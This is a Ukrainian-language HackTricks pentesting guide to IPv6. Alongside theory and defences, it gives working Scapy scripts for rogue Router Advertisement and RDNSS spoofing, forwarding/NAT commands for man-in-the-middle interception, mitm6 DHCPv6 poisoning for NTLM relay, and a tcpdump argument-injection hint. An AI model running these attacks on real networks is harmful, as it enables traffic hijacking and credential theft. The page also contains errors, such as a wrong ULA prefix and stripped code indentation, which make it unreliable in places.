Pentesting IPv6

Reading time: 13 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

IPv6 Основи теорії

Мережі

IPv6 адреси структуровані для покращення організації мережі та взаємодії пристроїв. IPv6 адреса ділиться на:

  1. Префікс мережі: Перші 48 біт, що визначають сегмент мережі.
  2. ID підмережі: Наступні 16 біт, що використовуються для визначення конкретних підмереж у межах мережі.
  3. Ідентифікатор інтерфейсу: Останні 64 біти, які унікально ідентифікують пристрій у підмережі.

Хоча IPv6 не має протоколу ARP, що є в IPv4, він вводить ICMPv6 з двома основними повідомленнями:

  • Запит сусіда (NS): Мультимедійні повідомлення для розв'язання адрес.
  • Реклама сусіда (NA): Уніicast відповіді на NS або спонтанні оголошення.

IPv6 також включає спеціальні типи адрес:

  • Адреса циклічного з'єднання (::1): Еквівалентна IPv4 127.0.0.1, для внутрішньої комунікації в межах хоста.
  • Локальні адреси зв'язку (FE80::/10): Для локальних мережевих дій, не для маршрутизації в інтернеті. Пристрої в одній локальній мережі можуть виявляти один одного, використовуючи цей діапазон.

Практичне використання IPv6 у мережевих командах

Для взаємодії з IPv6 мережами ви можете використовувати різні команди:

  • Ping локальних адрес: Перевірте наявність локальних пристроїв, використовуючи ping6.
  • Виявлення сусідів: Використовуйте ip neigh, щоб переглянути пристрої, виявлені на канальному рівні.
  • alive6: Альтернативний інструмент для виявлення пристроїв в одній мережі.

Нижче наведені деякі приклади команд:

bash
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 адреси можуть бути отримані з MAC-адреси пристрою для локальної комунікації. Ось спрощений посібник про те, як отримати Link-local IPv6 адресу з відомої MAC-адреси, а також короткий огляд типів IPv6 адрес і методів виявлення IPv6 адрес у мережі.

Дано MAC-адресу 12:34:56:78:9a:bc, ви можете побудувати Link-local IPv6 адресу наступним чином:

  1. Перетворіть MAC в формат IPv6: 1234:5678:9abc
  2. Додайте fe80:: і вставте fffe посередині: fe80::1234:56ff:fe78:9abc
  3. Інвертуйте сьомий біт зліва, змінивши 1234 на 1034: fe80::1034:56ff:fe78:9abc

Типи IPv6 адрес

  • Унікальна локальна адреса (ULA): Для локальних комунікацій, не призначена для публічної маршрутизації в інтернеті. Префікс: FEC00::/7
  • Мультікаст адреса: Для комунікації один-до-багатьох. Доставляється до всіх інтерфейсів у мультікаст групі. Префікс: FF00::/8
  • Енікаст адреса: Для комунікації один-до-найближчого. Надсилається до найближчого інтерфейсу відповідно до маршрутизуючого протоколу. Частина глобального унікального діапазону 2000::/3.

Префікси адрес

  • fe80::/10: Link-Local адреси (схожі на 169.254.x.x)
  • fc00::/7: Унікальний локальний унікаст (схожий на приватні діапазони IPv4, такі як 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Глобальний унікаст
  • ff02::1: Мультікаст для всіх вузлів
  • ff02::2: Мультікаст для маршрутизаторів

Виявлення IPv6 адрес у мережі

  1. Отримайте MAC-адресу пристрою в мережі.
  2. Отримайте Link-local IPv6 адресу з MAC-адреси.

Спосіб 2: Використання мультікасту

  1. Надішліть пінг на мультікаст адресу ff02::1, щоб виявити IPv6 адреси в локальній мережі.
bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Існує кілька технік для виконання MitM атак в IPv6 мережах, таких як:

  • Підробка ICMPv6 сусідніх або маршрутизаторських оголошень.
  • Використання ICMPv6 перенаправлень або повідомлень "Пакет занадто великий" для маніпуляції маршрутизацією.
  • Атака на мобільний IPv6 (зазвичай вимагає вимкнення IPSec).
  • Налаштування підробленого DHCPv6 сервера.

Identifying IPv6 Addresses in the eild

Exploring Subdomains

Метод для знаходження піддоменів, які потенційно пов'язані з IPv6 адресами, полягає у використанні пошукових систем. Наприклад, застосування шаблону запиту, такого як ipv6.*, може бути ефективним. Конкретно, наступна команда пошуку може бути використана в Google:

bash
site:ipv6./

Використання DNS Запитів

Щоб ідентифікувати IPv6 адреси, можна запитувати певні типи DNS записів:

  • AXFR: Запит на повний трансфер зони, що потенційно виявляє широкий спектр DNS записів.
  • AAAA: Безпосередньо шукає IPv6 адреси.
  • ANY: Широкий запит, який повертає всі доступні DNS записи.

Пробивання з Ping6

Після визначення IPv6 адрес, пов'язаних з організацією, можна використовувати утиліту ping6 для пробивання. Цей інструмент допомагає оцінити реакцію виявлених IPv6 адрес і може також допомогти в знаходженні сусідніх IPv6 пристроїв.

Техніки Атак на Локальну Мережу IPv6

Наступні розділи охоплюють практичні атаки на рівні 2 IPv6, які можна виконати всередині одного /64 сегмента без знання будь-якого глобального префікса. Усі пакети, показані нижче, є link-local і подорожують лише через локальний комутатор, що робить їх надзвичайно непомітними в більшості середовищ.

Налаштування Системи для Стабільної Лабораторії

Перед тим, як грати з IPv6 трафіком, рекомендується зміцнити вашу систему, щоб уникнути отруєння вашими власними тестами та отримати найкращу продуктивність під час масового впорскування/перехоплення пакетів.

bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

Оскільки кожен хост IPv6 автоматично приєднується до кількох мультикаст-груп (ff02::1, ff02::2, …) і використовує ICMPv6 для SLAAC/NDP, ви можете відобразити весь сегмент, не відправляючи жодного пакета. Наступний однорядковий код на Python/Scapy слухає найцікавіші L2 повідомлення та виводить кольоровий, позначений часом журнал того, хто є хто:

python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Результат: повна link-local топологія (MAC ⇄ IPv6) за лічені секунди, без активації систем IPS/IDS, які покладаються на активні сканування.

Спуфінг оголошень маршрутизатора (RA)

IPv6 хости покладаються на ICMPv6 Router Advertisements для виявлення шлюзу за замовчуванням. Якщо ви інжектуєте підроблені RA частіше, ніж легітимний маршрутизатор, пристрої безшумно переключаться на вас як на шлюз.

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Щоб насправді переслати трафік після виграшу в гонці:

bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Router Advertisement Flags (M/O) & Default Router Preference (Prf)

FlagMeaningEffect on Client Behaviour
M (Managed Address Configuration)Коли встановлено 1, хост ПОВИНЕН використовувати DHCPv6 для отримання своєї IPv6 адреси.Уся адресація надходить з DHCPv6 – ідеально для отруєння в стилі mitm6.
O (Other Configuration)Коли встановлено 1, хост повинен використовувати DHCPv6 лише для отримання іншої інформації (DNS, NTP, …).Адреса все ще через SLAAC, але DNS може бути перехоплено за допомогою DHCPv6.
M=0 / O=0Чиста мережа SLAAC.Можливі лише трюки RA / RDNSS – DHCPv6 не буде надіслано клієнтами.
M=1 / O=1Змішане середовище.Використовуються як DHCPv6, так і SLAAC; поверхня для спуфінгу найбільша.

Під час пентесту ви можете просто один раз перевірити легітимний RA і вирішити, який вектор є доцільним:

bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Шукайте поле flags [M,O] у дампі – без здогадок.

Поле Prf (Router Preference) всередині заголовка RA контролює, наскільки привабливим виглядає ваш зловмисний маршрутизатор, коли присутні декілька шлюзів:

Prf valueBinaryMeaning
High10Клієнти надають перевагу цьому маршрутизатору над будь-яким Medium/Low
Medium (за замовчуванням)01Використовується майже кожним легітимним пристроєм
Low00Обирається лише тоді, коли немає кращого маршрутизатора

При генерації пакета з Scapy ви можете встановити його через параметр prf, як показано вище (prf=0x1 → High). Поєднання High Prf, короткого інтервалу та ненульового терміну служби робить ваш зловмисний шлюз надзвичайно стабільним.


Спуфінг RDNSS (DNS) через RA

RFC 8106 дозволяє додавати опцію Recursive DNS Server (RDNSS) всередині RA. Сучасні ОС (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) автоматично довіряють їй:

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Клієнти додають ваш DNS до свого списку резолверів на вказаний термін, надаючи повний DNS-хайджекінг до закінчення терміну дії або поки ви не надішлете lifetime=0 для скасування.

DHCPv6 DNS Спуфінг (mitm6)

Замість SLAAC, мережі Windows часто залежать від безстанційного DHCPv6 для DNS. mitm6 автоматично відповідає на повідомлення Solicit з потоком Advertise → Reply, який призначає вашу локальну адресу як DNS на 300 секунд. Це відкриває:

  • Атаки NTLM реле (WPAD + DNS хайджекінг)
  • Перехоплення внутрішнього розв'язання імен без втручання в маршрутизатори

Типове використання:

bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning

Захист

  • RA Guard / DHCPv6 Guard / ND Inspection на керованих комутаторах.
  • ACL портів, які дозволяють лише легітимній MAC-адресі маршрутизатора надсилати RAs.
  • Моніторинг неконтрольованих високих RAs або раптових змін RDNSS.
  • Вимкнення IPv6 на кінцевих пристроях є тимчасовим рішенням, яке часто порушує роботу сучасних сервісів і приховує сліпі зони – віддавайте перевагу L2 фільтрації.

Виявлення маршрутизаторів NDP на гостьових/публічних SSID та експозиція управлінських сервісів

Багато споживчих маршрутизаторів відкривають управлінські демони (HTTP(S), SSH/Telnet, TR-069 тощо) на всіх інтерфейсах. У деяких розгортаннях SSID "гостьовий/публічний" з'єднано з WAN/ядром і він є лише IPv6. Навіть якщо IPv6 маршрутизатора змінюється при кожному перезавантаженні, ви можете надійно дізнатися його за допомогою NDP/ICMPv6, а потім безпосередньо підключитися до управлінської площини з гостьового SSID.

Типовий робочий процес від клієнта, підключеного до гостьового/публічного SSID:

  1. Виявлення маршрутизатора через ICMPv6 Router Solicitation до мультикасту All-Routers ff02::2 та захоплення Router Advertisement (RA):
bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA розкриває локальну адресу маршрутизатора та часто глобальну адресу/префікс. Якщо відома лише локальна адреса, пам'ятайте, що з'єднання повинні вказувати індекс зони, наприклад, ssh -6 admin@[fe80::1%wlan0].

Альтернатива: використовуйте ndisc6 suite, якщо доступно:

bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Доступ до відкритих сервісів через IPv6 з гостьової SSID:
bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Якщо оболонка управління надає інструменти захоплення пакетів через обгортку (наприклад, tcpdump), перевірте наявність ін'єкції аргументів/імен файлів, яка дозволяє передавати додаткові прапори tcpdump, такі як -G/-W/-z, для виконання команд після ротації. Дивіться:

Wildcards Spare tricks

Захист/ноти:

  • Не прив'язуйте управління до гостьових/публічних мостів; застосовуйте IPv6 брандмауери на SSID мостах.
  • Обмежте швидкість і фільтруйте NDP/RS/RA на гостьових сегментах, де це можливо.
  • Для служб, які повинні бути доступні, забезпечте authN/MFA та сильні обмеження швидкості.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks